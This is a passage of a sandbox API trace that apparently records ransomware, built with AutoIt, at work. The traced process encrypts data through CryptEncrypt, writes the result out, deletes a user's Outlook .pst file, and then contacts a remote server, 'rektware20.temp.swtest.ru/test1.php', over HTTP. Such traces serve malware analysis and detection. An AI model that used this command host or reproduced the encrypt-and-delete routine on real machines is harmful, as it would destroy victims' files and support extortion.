wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.051] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.051] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.051] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.052] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.052] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.052] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.052] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.052] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.052] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x1629460, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629460*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.052] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.052] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.052] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.053] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.053] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.053] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.053] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.053] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.053] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.053] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.057] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621738, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.057] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.057] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x42400, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x42410) returned 1 [0072.057] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.057] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.058] CharLowerBuffW (in: lpsz="byte[271377]", cchLength=0xc | out: lpsz="byte[271377]") returned 0xc [0072.058] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.069] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.069] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.071] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.072] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.072] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4eb4858*, pdwDataLen=0x130e618*=0x42400, dwBufLen=0x42410 | out: pbData=0x4eb4858*, pdwDataLen=0x130e618*=0x42410) returned 1 [0072.073] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.074] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.074] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.076] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.076] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.076] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.076] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.077] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.077] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.077] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.077] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.077] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.077] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.077] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.077] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.077] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.077] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.108] WriteFile (in: hFile=0x2ac, lpBuffer=0x1901008*, nNumberOfBytesToWrite=0x42410, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1901008*, lpNumberOfBytesWritten=0x130f01c*=0x42410, lpOverlapped=0x0) returned 1 [0072.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.113] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.113] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.113] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.113] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.113] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.114] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.114] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0072.114] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.114] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.114] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.114] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.114] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.114] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.114] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.114] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.114] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.114] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.114] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.116] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.117] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.117] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.117] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.117] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.117] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.117] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.117] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.117] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.117] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.117] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.121] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.121] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.121] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.121] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.121] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.122] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.122] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0072.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.122] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.122] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.122] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.122] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.122] CloseHandle (hObject=0x3bc) returned 1 [0072.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.122] CloseHandle (hObject=0x2ac) returned 1 [0072.128] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.130] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.130] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", lpFilePart=0x0) returned 0x40 [0072.130] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst")) returned 0x2020 [0072.131] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c7b0 [0072.131] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst")) returned 1 [0072.135] FindNextFileW (in: hFindFile=0x164c7b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.135] FindClose (in: hFindFile=0x164c7b0 | out: hFindFile=0x164c7b0) returned 1 [0072.136] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.136] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.136] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.136] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.136] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Open Notebook.onetoc2", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.136] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.136] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.136] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.136] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.136] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.136] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.137] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c) returned 1 [0072.137] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.137] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.137] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.142] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, 